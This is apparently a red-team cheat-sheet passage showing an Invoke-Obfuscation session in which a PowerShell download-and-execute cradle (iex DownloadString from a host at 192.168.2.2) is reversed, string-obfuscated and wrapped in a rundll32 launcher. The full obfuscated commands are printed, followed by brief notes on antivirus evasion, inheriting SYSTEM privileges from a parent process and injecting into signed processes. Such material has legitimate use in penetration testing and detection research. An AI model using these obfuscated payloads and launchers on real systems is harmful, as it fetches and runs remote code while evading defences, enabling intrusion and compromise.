Invoke-Obfuscation> SET SCRIPTBLOCK iex (New-Object Net.WebClient).DownloadString("http://192.168.2.2/script.ps1")
Successfully set ScriptBlock:
iex (New-Object Net.WebClient).DownloadString("http://192.168.2.2/script.ps1")
Choose a method with reference to Invoke-Obfuscation, like concat + reverse:
Invoke-Obfuscation> STRING
Choose one of the below String options to APPLY to current payload:
[*] STRING\1 Concatenate entire command
[*] STRING\2 Reorder entire command after concatenating
[*] STRING\3 Reverse entire command after concatenating
Invoke-Obfuscation\String> 3
Executed:
CLI: String\3
FULL: Out-ObfuscatedStringCommand -ScriptBlock $ScriptBlock 3
Result:
" $(SeT-ITeM 'varIaBle:oFs' '') " +([StRInG] [rEgeX]::maTCHeS("XEI | )43]Rahc[,)58]Rahc[+56]Rahc[+79]Rahc[( ecalPeR- )')UAa1'+'s'+'p.tpircs/'+'2.2.861.29'+'1//:ptthU'+'Aa(g'+'n'+'irt'+'Sda'+'olnw'+'oD.)'+'tneilC'+'beW.teN '+'tce'+'j'+'bO-weN( '+'x'+'e'+'i'(( " ,'.','R'+'IGht'+'tOleFT' )| %{$_ } )+" $(sET-iTeM 'vARiAble:OfS' ' ' )"| . ( $PshOME[4]+$PsHOME[34]+'x')
Note that you when you apply more obfuscations, the result will base on the last resulting command. As a result, the result will become much longer! So if you want to change back to the original one, use RESET
Then you can choose a launcher ...
Invoke-Obfuscation\String> SHOW
SHOW OPTIONS :: Yellow options can be set by entering SET OPTIONNAME VALUE.
[*] ScriptPath : N/A
[*] ScriptBlock: iex (New-Object Net.WebClient).DownloadString("http://192.168.2.2/script.ps1")
[*] CommandLineSyntax: Invoke-Obfuscation -ScriptBlock {iex (New-Object Net.WebClient).DownloadString("http://192.168.2.2/script.ps1")} -Command 'String\3' -Quiet
[*] ExecutionCommands:
Out-ObfuscatedStringCommand -ScriptBlock $ScriptBlock 3
[*] ObfuscatedCommand: [STrIng]::JoIn( '' ,( [RegeX]::MaTches("))43]RaHc[F- )')'+'}0{1sp.tpirc'+'s'+'/2'+'.2'+'.861.'+'291/'+'/:pt'+'t'+'h}0{(gni'+'rtSdaol'+'nwoD.)t'+'nei'+'lCbeW.'+'t'+'eN tce'+'j'+'bO-we'+'N( xei'(( ()''Nioj-'x'+]3,1[)(GnirtSOT.ECnEReFErPesoBreV$ ( &" ,'.' ,'riGhtt'+'OLE'+'Ft')|fOREACH-oBJEct{$_.VaLUE } )) |&( $PShoME[4]+$pshOme[34]+'X')
[*] ObfuscationLength: 337
Choose one of the below String options to APPLY to current payload:
[*] STRING\1 Concatenate entire command
[*] STRING\2 Reorder entire command after concatenating
[*] STRING\3 Reverse entire command after concatenating
Invoke-Obfuscation\String> LAUNCHER
Choose one of the below options:
[*] TOKEN Obfuscate PowerShell command Tokens
[*] AST Obfuscate PowerShell Ast nodes (PS3.0+)
[*] STRING Obfuscate entire command as a String
[*] ENCODING Obfuscate entire command via Encoding
[*] COMPRESS Convert entire command to one-liner and Compress
[*] LAUNCHER Obfuscate command args w/Launcher techniques (run once at end)
Choose one of the below Launcher options:
[*] LAUNCHER\PS PowerShell
[*] LAUNCHER\CMD Cmd + PowerShell
[*] LAUNCHER\WMIC Wmic + PowerShell
[*] LAUNCHER\RUNDLL Rundll32 + PowerShell
[*] LAUNCHER\VAR+ Cmd + set Var && PowerShell iex Var
[*] LAUNCHER\STDIN+ Cmd + Echo | PowerShell - (stdin)
[*] LAUNCHER\CLIP+ Cmd + Echo | Clip && PowerShell iex clipboard
[*] LAUNCHER\VAR++ Cmd + set Var && Cmd && PowerShell iex Var
[*] LAUNCHER\STDIN++ Cmd + set Var && Cmd Echo | PowerShell - (stdin)
[*] LAUNCHER\CLIP++ Cmd + Echo | Clip && Cmd && PowerShell iex clipboard
[*] LAUNCHER\RUNDLL++ Cmd + set Var && Rundll32 && PowerShell iex Var
[*] LAUNCHER\MSHTA++ Cmd + set Var && Mshta && PowerShell iex Var
Invoke-Obfuscation\Launcher> RUNDLL
Choose one of the below Launcher\RunDll options to APPLY to current payload:
Enter string of numbers with all desired flags to pass to function. (e.g. 23459)
[*] LAUNCHER\RUNDLL\0 NO EXECUTION FLAGS
[*] LAUNCHER\RUNDLL\1 -NoExit
[*] LAUNCHER\RUNDLL\2 -NonInteractive
[*] LAUNCHER\RUNDLL\3 -NoLogo
[*] LAUNCHER\RUNDLL\4 -NoProfile
[*] LAUNCHER\RUNDLL\5 -Command
[*] LAUNCHER\RUNDLL\6 -WindowStyle Hidden
[*] LAUNCHER\RUNDLL\7 -ExecutionPolicy Bypass
[*] LAUNCHER\RUNDLL\8 -Wow64 (to path 32-bit powershell.exe)
Invoke-Obfuscation\Launcher\RunDll> 0
Process Argument Tree of ObfuscatedCommand with current launcher:
C:\winDOws\SYstEM32\rundll32 SHELL32.DLL ,, ShellExec_RunDLL "PoWerSHeLl" " [STrIng]::JoIn( '' ,( [RegeX]::MaTches(\"))43]RaHc[F- )')'+'}0{1sp.tpirc'+'s'+'/2'+'.2'+'.861.'+'291/'+'/:pt'+'t'+'h}0{(gni'+'rtSdaol'+'nwoD.)t'+'nei'+'lCbeW.'+'t'+'eN tce'+'j'+'bO-we'+'N( xei'(( ()''Nioj-'x'+]3,1[)(GnirtSOT.ECnEReFErPesoBreV$ ( ^&\" ,'.' ,'riGhtt'+'OLE'+'Ft')|fOREACH-oBJEct{$_.VaLUE } )) |&( $PShoME[4]+$pshOme[34]+'X')"
|
\--> "PoWerSHeLl" " [STrIng]::JoIn( '' ,( [RegeX]::MaTches(\"))43]RaHc[F- )')'+'}0{1sp.tpirc'+'s'+'/2'+'.2'+'.861.'+'291/'+'/:pt'+'t'+'h}0{(gni'+'rtSdaol'+'nwoD.)t'+'nei'+'lCbeW.'+'t'+'eN tce'+'j'+'bO-we'+'N( xei'(( ()''Nioj-'x'+]3,1[)(GnirtSOT.ECnEReFErPesoBreV$ ( &\" ,'.' ,'riGhtt'+'OLE'+'Ft')|fOREACH-oBJEct{$_.VaLUE } )) |&( $PShoME[4]+$pshOme[34]+'X')"
Executed:
CLI: Launcher\RunDll\0
FULL: Out-PowerShellLauncher -ScriptBlock $ScriptBlock 4
Result:
C:\winDOws\SYstEM32\rundll32 SHELL32.DLL ,, ShellExec_RunDLL "PoWerSHeLl" " [STrIng]::JoIn( '' ,( [RegeX]::MaTches(\"))43]RaHc[F- )')'+'}0{1sp.tpirc'+'s'+'/2'+'.2'+'.861.'+'291/'+'/:pt'+'t'+'h}0{(gni'+'rtSdaol'+'nwoD.)t'+'nei'+'lCbeW.'+'t'+'eN tce'+'j'+'bO-we'+'N( xei'(( ()''Nioj-'x'+]3,1[)(GnirtSOT.ECnEReFErPesoBreV$ ( ^&\" ,'.' ,'riGhtt'+'OLE'+'Ft')|fOREACH-oBJEct{$_.VaLUE } )) |&( $PShoME[4]+$pshOme[34]+'X')"
EncodedCommand
Generally not recommended since it is easily caught by AV.
Help to get SYSTEM privileges via a parent process, which then spawns a child process which effectively inherits the SYSTEM access privileges of the parent.
This injects ourselves into an already signed / trusted process.